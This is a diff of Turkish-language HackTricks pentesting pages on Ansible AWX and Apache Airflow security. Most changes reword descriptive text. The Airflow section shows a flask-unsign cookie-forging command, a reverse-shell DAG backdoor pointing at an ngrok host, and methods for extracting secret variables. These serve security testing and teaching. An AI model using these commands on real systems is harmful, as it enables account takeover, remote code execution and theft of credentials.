diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index f385db91a..5a1057a56 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -7,7 +7,7 @@ > HackTricks'i Destekleyin > > - [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! -> - **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.** -> - **Hacking ipuçlarını paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek. +> - **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'i takip edin.** +> - **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. > > diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md index cdc25edc9..6fb824e25 100644 --- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md +++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md @@ -1,4 +1,4 @@ -# Ansible Tower / AWX / Automation controller Security +# Ansible Tower / AWX / Automation controller Güvenliği {{#include ../banners/hacktricks-training.md}} @@ -10,41 +10,41 @@ ### Farklar -[**Bu**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00) kaynağına göre, Ansible Tower ile AWX arasındaki ana fark, alınan destek ve Ansible Tower'ın rol tabanlı erişim kontrolü, özel API'ler için destek ve kullanıcı tanımlı iş akışları gibi ek özelliklere sahip olmasıdır. +[**Bu**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00) kaynağa göre, Ansible Tower ile AWX arasındaki ana farklar alınan destek ve Ansible Tower'ın rol tabanlı erişim kontrolü, özel API'ler için destek ve kullanıcı tanımlı iş akışları gibi ek özelliklere sahip olmasıdır. ### Teknoloji Yığını -- **Web Arayüzü**: Kullanıcıların envanterleri, kimlik bilgilerini, şablonları ve işleri yönetebileceği grafik arayüzdür. Anlayışınızı kolaylaştırmak için görselleştirmeler sunarak sezgisel olacak şekilde tasarlanmıştır. +- **Web Arayüzü**: Kullanıcıların envanterleri, kimlik bilgilerini, şablonları ve işleri yönetebileceği grafik arayüzdür. Kullanıcı dostu olacak şekilde tasarlanmıştır ve otomasyon işlerinin durumu ve sonuçlarını anlamaya yardımcı olacak görselleştirmeler sağlar. - **REST API**: Web arayüzünde yapabileceğiniz her şeyi REST API aracılığıyla da yapabilirsiniz. Bu, AWX/Tower'ı diğer sistemlerle entegre etmenizi veya arayüzde genellikle gerçekleştireceğiniz eylemleri betik haline getirmenizi sağlar. - **Veritabanı**: AWX/Tower, yapılandırmasını, iş sonuçlarını ve diğer gerekli operasyonel verileri depolamak için bir veritabanı (genellikle PostgreSQL) kullanır. - **RabbitMQ**: Bu, AWX/Tower'ın farklı bileşenler arasında, özellikle web hizmeti ile görev çalıştırıcıları arasında iletişim kurmak için kullandığı mesajlaşma sistemidir. -- **Redis**: Redis, görev kuyruğu için bir önbellek ve arka uç olarak hizmet eder. +- **Redis**: Redis, bir önbellek ve görev kuyruğu için bir arka uç olarak hizmet eder. ### Mantıksal Bileşenler - **Envanterler**: Envanter, **işlerin** (Ansible playbook'ları) **çalıştırılabileceği** **hostlar (veya düğümler)** koleksiyonudur. AWX/Tower, envanterlerinizi tanımlamanıza ve gruplamanıza olanak tanır ve ayrıca AWS, Azure gibi diğer sistemlerden **host listelerini alabilen** dinamik envanterleri destekler. -- **Projeler**: Bir proje, esasen bir **versiyon kontrol sistemi** (Git gibi) kaynaklı **Ansible playbook'ları** koleksiyonudur; ihtiyaç duyulduğunda en son playbook'ları çekmek için kullanılır. +- **Projeler**: Bir proje, esasen bir **versiyon kontrol sistemi** (Git gibi) aracılığıyla kaynaklanan **Ansible playbook'ları** koleksiyonudur; ihtiyaç duyulduğunda en son playbook'ları çekmek için kullanılır. - **Şablonlar**: İş şablonları, **belirli bir playbook'un nasıl çalıştırılacağını** tanımlar, **envanter**, **kimlik bilgileri** ve iş için diğer **parametreleri** belirtir. - **Kimlik Bilgileri**: AWX/Tower, **SSH anahtarları, şifreler ve API jetonları** gibi gizli bilgileri **yönetmek ve depolamak için güvenli bir yol** sağlar. Bu kimlik bilgileri, playbook'ların çalıştığında gerekli erişime sahip olabilmesi için iş şablonlarıyla ilişkilendirilebilir. -- **Görev Motoru**: Burası sihrin gerçekleştiği yerdir. Görev motoru, Ansible üzerine inşa edilmiştir ve **playbook'ları çalıştırmaktan** sorumludur. İşler, belirtilen envanter üzerinde belirtilen kimlik bilgileri kullanılarak Ansible playbook'larını çalıştıran görev motoruna yönlendirilir. -- **Zamanlayıcılar ve Geri Aramalar**: Bunlar, AWX/Tower'da **işlerin belirli zamanlarda çalıştırılmasını** veya dış olaylar tarafından tetiklenmesini sağlayan gelişmiş özelliklerdir. -- **Bildirimler**: AWX/Tower, işlerin başarı veya başarısızlığına dayalı bildirimler gönderebilir. E-postalar, Slack mesajları, web kancaları gibi çeşitli bildirim yöntemlerini destekler. -- **Ansible Playbook'ları**: Ansible playbook'ları, yapılandırma, dağıtım ve orkestrasyon araçlarıdır. Sistemlerin istenen durumunu otomatik, tekrarlanabilir bir şekilde tanımlar. YAML ile yazılmıştır ve playbook'lar, yapılandırmaları, görevleri ve yürütülmesi gereken adımları tanımlamak için Ansible'ın deklaratif otomasyon dilini kullanır. +- **Görev Motoru**: Burası sihrin gerçekleştiği yerdir. Görev motoru, Ansible üzerine inşa edilmiştir ve **playbook'ları çalıştırmaktan** sorumludur. İşler, belirlenen envanter üzerinde belirtilen kimlik bilgilerini kullanarak Ansible playbook'larını çalıştıran görev motoruna iletilir. +- **Zamanlayıcılar ve Geri Çağırmalar**: Bunlar, AWX/Tower'da belirli zamanlarda çalıştırılacak **işlerin zamanlanmasına** veya dış olaylar tarafından tetiklenmesine olanak tanıyan gelişmiş özelliklerdir. +- **Bildirimler**: AWX/Tower, işlerin başarısına veya başarısızlığına dayalı bildirimler gönderebilir. E-postalar, Slack mesajları, web kancaları gibi çeşitli bildirim yöntemlerini destekler. +- **Ansible Playbook'ları**: Ansible playbook'ları, yapılandırma, dağıtım ve orkestrasyon araçlarıdır. Sistemlerin istenen durumunu otomatik, tekrarlanabilir bir şekilde tanımlarlar. YAML ile yazılmış olan playbook'lar, yapılandırmaları, görevleri ve yürütülmesi gereken adımları tanımlamak için Ansible'ın deklaratif otomasyon dilini kullanır. ### İş Yürütme Akışı 1. **Kullanıcı Etkileşimi**: Bir kullanıcı, AWX/Tower ile **Web Arayüzü** veya **REST API** aracılığıyla etkileşimde bulunabilir. Bu, AWX/Tower tarafından sunulan tüm işlevselliklere ön uç erişimi sağlar. 2. **İş Başlatma**: - Kullanıcı, Web Arayüzü veya API aracılığıyla bir **İş Şablonu** temelinde bir iş başlatır. -- İş Şablonu, **Envanter**, **Proje** (playbook'u içeren) ve **Kimlik Bilgileri** referanslarını içerir. +- İş Şablonu, **Envantör**, **Proje** (playbook'u içeren) ve **Kimlik Bilgileri** referanslarını içerir. - İş başlatıldığında, işin yürütülmesi için AWX/Tower arka ucuna bir istek gönderilir. 3. **İş Kuyruğa Alma**: -- **RabbitMQ**, web bileşeni ile görev çalıştırıcıları arasındaki mesajlaşmayı yönetir. Bir iş başlatıldığında, RabbitMQ kullanılarak görev motoruna bir mesaj gönderilir. +- **RabbitMQ**, web bileşeni ile görev çalıştırıcıları arasındaki mesajlaşmayı yönetir. Bir iş başlatıldığında, görev motoruna RabbitMQ kullanılarak bir mesaj iletilir. - **Redis**, yürütülmeyi bekleyen kuyrukta bekleyen işleri yöneten görev kuyruğu için arka uç olarak hizmet eder. -4. **İşin Yürütülmesi**: +4. **İş Yürütme**: - **Görev Motoru**, kuyrukta bekleyen işi alır. İlgili **Veritabanı**'ndan işin ilişkili playbook'u, envanteri ve kimlik bilgileri hakkında gerekli bilgileri alır. -- İlgili **Proje**'den alınan Ansible playbook'unu kullanarak, Görev Motoru belirtilen **Envanter** düğümleri üzerinde sağlanan **Kimlik Bilgileri** ile playbook'u çalıştırır. -- Playbook çalışırken, yürütme çıktısı (loglar, bilgiler vb.) **Veritabanı**'na kaydedilir. +- İlgili **Proje**'den alınan Ansible playbook'unu kullanarak, Görev Motoru belirtilen **Envantör** düğümleri üzerinde sağlanan **Kimlik Bilgileri** ile playbook'u çalıştırır. +- Playbook çalışırken, yürütme çıktısı (loglar, veriler vb.) **Veritabanı**'na kaydedilir. 5. **İş Sonuçları**: - Playbook çalışmayı bitirdiğinde, sonuçlar (başarı, başarısızlık, loglar) **Veritabanı**'na kaydedilir. - Kullanıcılar, sonuçları Web Arayüzü aracılığıyla görüntüleyebilir veya REST API aracılığıyla sorgulayabilir. @@ -52,7 +52,7 @@ 6. **Dış Sistem Entegrasyonu**: - **Envanterler**, dış sistemlerden dinamik olarak kaynaklanabilir, bu da AWX/Tower'ın AWS, Azure, VMware gibi kaynaklardan hostları çekmesine olanak tanır. - **Projeler** (playbook'lar), versiyon kontrol sistemlerinden alınabilir, böylece iş yürütme sırasında güncel playbook'ların kullanılması sağlanır. -- **Zamanlayıcılar ve Geri Aramalar**, diğer sistemler veya araçlarla entegrasyon için kullanılabilir, bu da AWX/Tower'ın dış tetikleyicilere yanıt vermesini veya önceden belirlenmiş zamanlarda işleri çalıştırmasını sağlar. +- **Zamanlayıcılar ve Geri Çağırmalar**, diğer sistemler veya araçlarla entegrasyon için kullanılabilir, bu da AWX/Tower'ın dış tetikleyicilere yanıt vermesini veya işleri önceden belirlenmiş zamanlarda çalıştırmasını sağlar. ### Test için AWX laboratuvarı oluşturma @@ -102,35 +102,35 @@ Bir **beyaz kutu güvenliği** incelemesi için, **Sistem Denetçisi rolüne** i - Bu rol, uyum ve denetim için tasarlanmıştır. 3. **Organizasyon Rolleri**: - **Admin**: Organizasyonun kaynakları üzerinde tam kontrol. -- **Denetçi**: Organizasyonun kaynaklarına yalnızca görüntüleme erişimi. -- **Üye**: Belirli izinleri olmayan bir organizasyonda temel üyelik. -- **Çalıştır**: Organizasyon içinde iş şablonlarını çalıştırabilir. -- **Oku**: Organizasyonun kaynaklarını görüntüleyebilir. +- **Auditor**: Organizasyonun kaynaklarına yalnızca görüntüleme erişimi. +- **Member**: Belirli bir izni olmadan bir organizasyona temel üyelik. +- **Execute**: Organizasyon içinde iş şablonlarını çalıştırabilir. +- **Read**: Organizasyonun kaynaklarını görüntüleyebilir. 4. **Proje Rolleri**: - **Admin**: Projeyi yönetebilir ve değiştirebilir. -- **Kullan**: Projeyi bir iş şablonunda kullanabilir. -- **Güncelle**: SCM (kaynak kontrolü) kullanarak projeyi güncelleyebilir. +- **Use**: Projeyi bir iş şablonunda kullanabilir. +- **Update**: SCM (kaynak kontrolü) kullanarak projeyi güncelleyebilir. 5. **Envanter Rolleri**: - **Admin**: Envanteri yönetebilir ve değiştirebilir. - **Ad Hoc**: Envanter üzerinde ad hoc komutları çalıştırabilir. -- **Güncelle**: Envanter kaynağını güncelleyebilir. -- **Kullan**: Envanteri bir iş şablonunda kullanabilir. -- **Oku**: Yalnızca görüntüleme erişimi. +- **Update**: Envanter kaynağını güncelleyebilir. +- **Use**: Envanteri bir iş şablonunda kullanabilir. +- **Read**: Yalnızca görüntüleme erişimi. 6. **İş Şablonu Rolleri**: - **Admin**: İş şablonunu yönetebilir ve değiştirebilir. -- **Çalıştır**: İşi çalıştırabilir. -- **Oku**: Yalnızca görüntüleme erişimi. +- **Execute**: İşi çalıştırabilir. +- **Read**: Yalnızca görüntüleme erişimi. 7. **Kimlik Bilgisi Rolleri**: - **Admin**: Kimlik bilgilerini yönetebilir ve değiştirebilir. -- **Kullan**: Kimlik bilgilerini iş şablonlarında veya diğer ilgili kaynaklarda kullanabilir. -- **Oku**: Yalnızca görüntüleme erişimi. +- **Use**: Kimlik bilgilerini iş şablonlarında veya diğer ilgili kaynaklarda kullanabilir. +- **Read**: Yalnızca görüntüleme erişimi. 8. **Takım Rolleri**: -- **Üye**: Takımın bir parçası ancak belirli izinleri yok. +- **Member**: Takımın bir parçası ancak belirli bir izni yok. - **Admin**: Takımın üyelerini ve ilgili kaynakları yönetebilir. 9. **İş Akışı Rolleri**: - **Admin**: İş akışını yönetebilir ve değiştirebilir. -- **Çalıştır**: İş akışını çalıştırabilir. -- **Oku**: Yalnızca görüntüleme erişimi. +- **Execute**: İş akışını çalıştırabilir. +- **Read**: Yalnızca görüntüleme erişimi. diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md index f93780083..380ae689a 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/README.md +++ b/src/pentesting-ci-cd/apache-airflow-security/README.md @@ -4,15 +4,15 @@ ### Temel Bilgiler -[**Apache Airflow**](https://airflow.apache.org), **veri boru hatlarını veya iş akışlarını düzenlemek ve zamanlamak için bir platform** olarak hizmet eder. Veri boru hatları bağlamında "orchestrasyon" terimi, çeşitli kaynaklardan gelen karmaşık veri iş akışlarını düzenleme, koordine etme ve yönetme sürecini ifade eder. Bu düzenlenmiş veri boru hatlarının temel amacı, işlenmiş ve tüketilebilir veri setleri sağlamaktır. Bu veri setleri, iş zekası araçları, veri bilimi ve makine öğrenimi modelleri gibi çok sayıda uygulama tarafından yaygın olarak kullanılmaktadır; bunların hepsi büyük veri uygulamalarının işleyişi için temeldir. +[**Apache Airflow**](https://airflow.apache.org), **veri boru hatlarını veya iş akışlarını düzenlemek ve zamanlamak için bir platform** olarak hizmet eder. Veri boru hatları bağlamında "orchestrasyon" terimi, çeşitli kaynaklardan gelen karmaşık veri iş akışlarını düzenleme, koordine etme ve yönetme sürecini ifade eder. Bu düzenlenmiş veri boru hatlarının temel amacı, işlenmiş ve tüketilebilir veri setleri sağlamaktır. Bu veri setleri, iş zekası araçları, veri bilimi ve makine öğrenimi modelleri gibi birçok uygulama tarafından yaygın olarak kullanılmaktadır ve bunlar büyük veri uygulamalarının işleyişi için temeldir. -Temelde, Apache Airflow, **bir şey olduğunda kodun çalıştırılmasını zamanlamanıza olanak tanır** (olay, cron). +Temelde, Apache Airflow, bir şey olduğunda (olay, cron) **kodun yürütülmesini zamanlamanıza** olanak tanır. ### Yerel Laboratuvar #### Docker-Compose -Tam bir apache airflow docker ortamı başlatmak için **docker-compose yapılandırma dosyasını** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) adresinden kullanabilirsiniz. (Eğer MacOS kullanıyorsanız, docker VM'ye en az 6GB RAM vermeyi unutmayın). +Tam bir apache airflow docker ortamı başlatmak için [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) adresinden **docker-compose yapılandırma dosyasını** kullanabilirsiniz. (Eğer MacOS kullanıyorsanız, docker VM'ye en az 6GB RAM vermeyi unutmayın). #### Minikube @@ -44,7 +44,7 @@ airflow-rbac.md ### Saldırılar -#### Web Konsolu Sayım +#### Web Konsolu Sayımı Eğer **web konsoluna erişiminiz** varsa, aşağıdaki bilgilerden bazılarına veya hepsine erişim sağlayabilirsiniz: @@ -57,12 +57,12 @@ Eğer **web konsoluna erişiminiz** varsa, aşağıdaki bilgilerden bazılarına #### Değişken Değerlerini Alma -Değişkenler Airflow'da saklanabilir, böylece **DAG'lar** değerlerine **erişebilir**. Bu, diğer platformların gizli bilgilerine benzer. Eğer **yeterli izinleriniz** varsa, bunlara `http:///variable/list/` adresinde GUI üzerinden erişebilirsiniz.\ -Airflow varsayılan olarak değişkenin değerini GUI'de gösterir, ancak [**şuna**](https://marclamberti.com/blog/variables-with-apache-airflow/) göre, **değerinin** **yıldızlar** olarak görüneceği **değişkenler listesi** ayarlamak mümkündür. +Değişkenler Airflow'da saklanabilir, böylece **DAG'lar** değerlerine **erişebilir**. Bu, diğer platformların gizli bilgilerine benzer. Eğer **yeterli izinleriniz** varsa, bunlara `http:///variable/list/` adresinden GUI üzerinden erişebilirsiniz.\ +Airflow varsayılan olarak değişkenin değerini GUI'de gösterir, ancak [**bu**](https://marclamberti.com/blog/variables-with-apache-airflow/) kaynağa göre, **değerleri** **yıldız** olarak görünecek şekilde **değişkenler listesi** ayarlamak mümkündür. ![](<../../images/image (164).png>) -Ancak, bu **değerler** hala **CLI** üzerinden (DB erişiminiz olmalı), **rastgele DAG** çalıştırarak, **API** ile değişkenler uç noktasına erişerek (API'nin etkinleştirilmesi gerekir) ve **hatta GUI'nin kendisi aracılığıyla** **alınabilir!**\ +Ancak, bu **değerler** hala **CLI** aracılığıyla **alınabilir** (DB erişiminiz olmalı), **rastgele DAG** çalıştırma, **API** ile değişkenler uç noktasına erişim (API'nin etkinleştirilmesi gerekir) ve **hatta GUI'nin kendisi!**\ Bu değerleri GUI'den erişmek için sadece **erişmek istediğiniz değişkenleri** seçin ve **Eylemler -> Dışa Aktar** seçeneğine tıklayın.\ Başka bir yol, **gizli değere** ulaşmak için **arama filtrelemesi** kullanarak **bruteforce** yapmaktır: @@ -70,11 +70,11 @@ Başka bir yol, **gizli değere** ulaşmak için **arama filtrelemesi** kullanar #### Yetki Yükseltme -Eğer **`expose_config`** yapılandırması **True** olarak ayarlandıysa, **Kullanıcı** rolünden ve **üstündeki** roller **web'deki yapılandırmayı okuyabilir**. Bu yapılandırmada, **`secret_key`** görünür, bu da bu geçerli anahtara sahip herhangi bir kullanıcının **kendi imzalı çerezini oluşturup başka bir kullanıcı hesabını taklit edebileceği** anlamına gelir. +Eğer **`expose_config`** yapılandırması **True** olarak ayarlandıysa, **Kullanıcı** rolünden ve **üstündeki** rollerden **web'deki yapılandırmayı** **okuyabilirler**. Bu yapılandırmada, **`secret_key`** görünür, bu da geçerli bir kullanıcıya sahip olan herhangi birinin **kendi imzalı çerezini oluşturup başka bir kullanıcı hesabını taklit edebileceği** anlamına gelir. ```bash flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}" ``` -#### DAG Arka Kapı (Airflow işçi içinde RCE) +#### DAG Arka Kapı (Airflow işçisi içinde RCE) Eğer **DAG'ların kaydedildiği** yere **yazma erişiminiz** varsa, sadece **bir tane oluşturabilirsiniz** ve bu size bir **ters kabuk** gönderecektir.\ Bu ters kabuğun bir **airflow işçi konteyneri** içinde çalıştırılacağını unutmayın: @@ -144,17 +144,17 @@ op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} ``` #### DAG Oluşturma -Eğer **DAG kümesindeki bir makineyi ele geçirirseniz**, `dags/` klasöründe yeni **DAG scriptleri** oluşturabilirsiniz ve bunlar **DAG kümesindeki diğer makinelere kopyalanacaktır.** +Eğer **DAG kümesindeki bir makineyi ele geçirirseniz**, `dags/` klasöründe yeni **DAG'lar scriptleri** oluşturabilirsiniz ve bunlar **DAG kümesindeki diğer makinelere** **kopyalanacaktır**. #### DAG Kod Enjeksiyonu -GUI'den bir DAG çalıştırdığınızda ona **argümanlar** geçirebilirsiniz.\ -Bu nedenle, eğer DAG düzgün kodlanmamışsa **Komut Enjeksiyonuna karşı savunmasız** olabilir.\ +GUI'den bir DAG çalıştırdığınızda ona **argümanlar** **geçebilirsiniz**.\ +Bu nedenle, eğer DAG düzgün kodlanmamışsa **Komut Enjeksiyonuna** **açık** olabilir.\ Bu, bu CVE'de olan bir durumdur: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) -**DAG'lerde komut enjeksiyonları aramaya başlamak için bilmeniz gereken tek şey**, **parametrelerin** **`dag_run.conf.get("param_name")`** kodu ile **erişildiğidir.** +**DAG'lerde komut enjeksiyonları aramaya başlamak için bilmeniz gereken tek şey**, **parametrelerin** **`dag_run.conf.get("param_name")`** kodu ile **erişildiğidir**. -Ayrıca, aynı zafiyet **değişkenlerle** de meydana gelebilir (yeterli ayrıcalıklara sahip olduğunuzda GUI'de **değişkenlerin değerini kontrol edebilirsiniz**). Değişkenler **şu şekilde erişilir**: +Ayrıca, aynı zafiyet **değişkenlerle** de meydana gelebilir (yeterli ayrıcalıklara sahip olduğunuzda **değişkenlerin değerini** GUI'de **kontrol edebilirsiniz**). Değişkenler **şu şekilde erişilir**: ```python from airflow.models import Variable [...] diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md index 261a69bf0..a74b795d5 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md @@ -8,7 +8,7 @@ **Bu dosyaya erişmenin iki yolu vardır: bazı airflow makinelerini tehlikeye atarak veya web konsoluna erişerek.** -**Config dosyasındaki değerlerin** **kullanılanlar olmayabileceğini** unutmayın; bunları `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'` gibi ortam değişkenleri ayarlayarak geçersiz kılabilirsiniz. +**Config dosyasındaki değerlerin** **kullanılanlar olmayabileceğini** unutmayın, çünkü `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'` gibi ortam değişkenleri ayarlayarak bunları geçersiz kılabilirsiniz. Eğer **web sunucusundaki config dosyasına** erişiminiz varsa, config'in görüntülendiği aynı sayfada **gerçek çalışan yapılandırmayı** kontrol edebilirsiniz.\ Eğer **airflow ortamındaki bir makineye** erişiminiz varsa, **ortamı** kontrol edin. @@ -20,7 +20,7 @@ Config dosyasını okurken kontrol edilecek bazı ilginç değerler: - **`access_control_allow_headers`**: Bu, **CORS** için **izin verilen** **başlıkları** gösterir. - **`access_control_allow_methods`**: Bu, **CORS** için **izin verilen yöntemleri** gösterir. - **`access_control_allow_origins`**: Bu, **CORS** için **izin verilen kökenleri** gösterir. -- **`auth_backend`**: [**Belgelerde belirtildiği gibi**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) API'ye kimlerin erişebileceğini yapılandırmak için birkaç seçenek olabilir: +- **`auth_backend`**: [**Belgelerde belirtildiği gibi**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) API'ye kimlerin erişebileceğini yapılandırmak için birkaç seçenek mevcuttur: - `airflow.api.auth.backend.deny_all`: **Varsayılan olarak kimse** API'ye erişemez. - `airflow.api.auth.backend.default`: **Herkes** kimlik doğrulaması olmadan erişebilir. - `airflow.api.auth.backend.kerberos_auth`: **kerberos kimlik doğrulamasını** yapılandırmak için. @@ -38,7 +38,7 @@ Config dosyasını okurken kontrol edilecek bazı ilginç değerler: ### \[celery] - **`flower_basic_auth`** : Kimlik bilgileri (_user1:password1,user2:password2_) -- **`result_backend`**: **kimlik bilgileri** içerebilecek Postgres url'si. +- **`result_backend`**: **kimlik bilgilerini** içerebilecek Postgres url'si. - **`ssl_cacert`**: cacert'in yolu. - **`ssl_cert`**: sertifikanın yolu. - **`ssl_key`**: anahtarın yolu. @@ -78,27 +78,27 @@ Config dosyasını okurken kontrol edilecek bazı ilginç değerler: ### \[webserver] - **`cookie_samesite`**: Varsayılan olarak **Lax**'dır, bu nedenle zaten mümkün olan en zayıf değerdir. -- **`cookie_secure`**: oturum çerezinde **güvenli bayrağı** ayarlayın. +- **`cookie_secure`**: oturum çerezi üzerinde **güvenli bayrağı** ayarlayın. - **`expose_config`**: Varsayılan olarak False'dur, eğer true ise, **config** web **konsolundan** **okunabilir**. - **`expose_stacktrace`**: Varsayılan olarak True'dur, **python traceback'lerini** gösterecektir (potansiyel olarak bir saldırgan için yararlı). -- **`secret_key`**: Bu, **flask'ın çerezleri imzalamak için kullandığı anahtardır** (eğer buna sahipseniz, **Airflow'daki herhangi bir kullanıcıyı taklit edebilirsiniz**). +- **`secret_key`**: Bu, çerezleri imzalamak için flask tarafından kullanılan **anahtardır** (eğer buna sahipseniz, **Airflow'daki herhangi bir kullanıcıyı taklit edebilirsiniz**). - **`web_server_ssl_cert`**: **SSL** **sertifikasının** **yolu**. - **`web_server_ssl_key`**: **SSL** **Anahtarının** **yolu**. - **`x_frame_enabled`**: Varsayılan **True**'dur, bu nedenle varsayılan olarak clickjacking mümkün değildir. ### Web Authentication -Varsayılan olarak **web kimlik doğrulaması**, **`webserver_config.py`** dosyasında belirtilmiştir ve şu şekilde yapılandırılmıştır: +Varsayılan olarak **web authentication**, **`webserver_config.py`** dosyasında belirtilmiştir ve şu şekilde yapılandırılmıştır: ```bash AUTH_TYPE = AUTH_DB ``` -Bu, **kimlik doğrulamanın veritabanına karşı kontrol edildiği** anlamına gelir. Ancak, diğer yapılandırmalar da mümkündür, örneğin +Bu, **kimlik doğrulamanın veritabanına karşı kontrol edildiği** anlamına gelir. Ancak, aşağıdaki gibi diğer yapılandırmalar da mümkündür: ```bash AUTH_TYPE = AUTH_OAUTH ``` **Üçüncü taraf hizmetlere** **kimlik doğrulamasını** bırakmak için. -Ancak, **anonim kullanıcıların erişimine** izin vermek için de bir seçenek vardır, aşağıdaki parametreyi **istenen role** ayarlayarak: +Ancak, **anonim kullanıcıların erişimine** izin verme seçeneği de vardır, aşağıdaki parametreyi **istenen role** ayarlayarak: ```bash AUTH_ROLE_PUBLIC = 'Admin' ``` diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md index 226c3531e..66b795053 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md @@ -12,9 +12,9 @@ - **`User`** kullanıcıları `Viewer` izinlerine ek olarak DAG'leri biraz yönetmelerine olanak tanıyan ek kullanıcı izinlerine sahiptir. **Yapılandırma dosyasını görebilir.** - **`Op`** kullanıcıları `User` izinlerine ek olarak ek op izinlerine sahiptir. -**Admin** kullanıcılarının daha fazla **granüler izinlere sahip daha fazla rol oluşturabileceğini** unutmayın. +**Admin** kullanıcılarının daha **detaylı izinlere sahip daha fazla rol oluşturabileceğini** unutmayın. -Ayrıca, **kullanıcıları ve rolleri listeleme iznine sahip tek varsayılan rol Admin'dir, Op bile bunu yapamayacaktır.** +Ayrıca, kullanıcıları ve rolleri listeleme iznine sahip tek varsayılan rolün **Admin olduğunu, hatta Op'un bile bunu yapamayacağını** unutmayın. ### Varsayılan İzinler @@ -22,19 +22,19 @@ Varsayılan role göre varsayılan izinler şunlardır: - **Admin** -\[Bağlantılarda silebilir, Bağlantılarda okuyabilir, Bağlantılarda düzenleyebilir, Bağlantılarda oluşturabilir, DAG'lerde okuyabilir, DAG'lerde düzenleyebilir, DAG'lerde silebilir, DAG Çalışmalarında okuyabilir, Görev Örneklerinde okuyabilir, Görev Örneklerinde düzenleyebilir, DAG Çalışmalarında silebilir, DAG Çalışmalarında oluşturabilir, DAG Çalışmalarında düzenleyebilir, Denetim Kayıtlarında okuyabilir, ImportError'da okuyabilir, Havuzlarda silebilir, Havuzlarda okuyabilir, Havuzlarda düzenleyebilir, Havuzlarda oluşturabilir, Sağlayıcılarda okuyabilir, Değişkenlerde silebilir, Değişkenlerde okuyabilir, Değişkenlerde düzenleyebilir, Değişkenlerde oluşturabilir, XCom'larda okuyabilir, DAG Kodunda okuyabilir, Yapılandırmalarda okuyabilir, Eklentilerde okuyabilir, Rollerde okuyabilir, İzinlerde okuyabilir, Rollerde silebilir, Rollerde düzenleyebilir, Rollerde oluşturabilir, Kullanıcılarda okuyabilir, Kullanıcılarda oluşturabilir, Kullanıcılarda düzenleyebilir, Kullanıcılarda silebilir, DAG Bağımlılıklarında okuyabilir, İşlerde okuyabilir, Şifremde okuyabilir, Şifremde düzenleyebilir, Profilimde okuyabilir, Profilimde düzenleyebilir, SLA Kaçırmalarında okuyabilir, Görev Kayıtlarında okuyabilir, Web sitesinde okuyabilir, Gözat menüsüne erişim, DAG Bağımlılıkları menüsüne erişim, DAG Çalışmaları menüsüne erişim, Dokümantasyon menüsüne erişim, Belgeler menüsüne erişim, İşler menüsüne erişim, Denetim Kayıtları menüsüne erişim, Eklentiler menüsüne erişim, SLA Kaçırmaları menüsüne erişim, Görev Örnekleri menüsüne erişim, Görev Örneklerinde oluşturabilir, Görev Örneklerinde silebilir, Admin menüsüne erişim, Yapılandırmalar menüsüne erişim, Bağlantılar menüsüne erişim, Havuzlar menüsüne erişim, Değişkenler menüsüne erişim, XCom'larda silebilir, Görev Yeniden Planlamalarında okuyabilir, Görev Yeniden Planlamaları menüsüne erişim, Tetikleyicilerde okuyabilir, Tetikleyiciler menüsüne erişim, Şifrelerde okuyabilir, Şifrelerde düzenleyebilir, Kullanıcıları Listele menüsüne erişim, Güvenlik menüsüne erişim, Roller Listesi menüsüne erişim, Kullanıcı İstatistikleri Grafiğinde okuyabilir, Kullanıcı İstatistikleri menüsüne erişim, Temel İzinler menüsüne erişim, Görünüm Menülerinde okuyabilir, Görünümler/Menüler menüsüne erişim, İzin Görünümlerinde okuyabilir, Görünümler/Menülerde İzin menüsüne 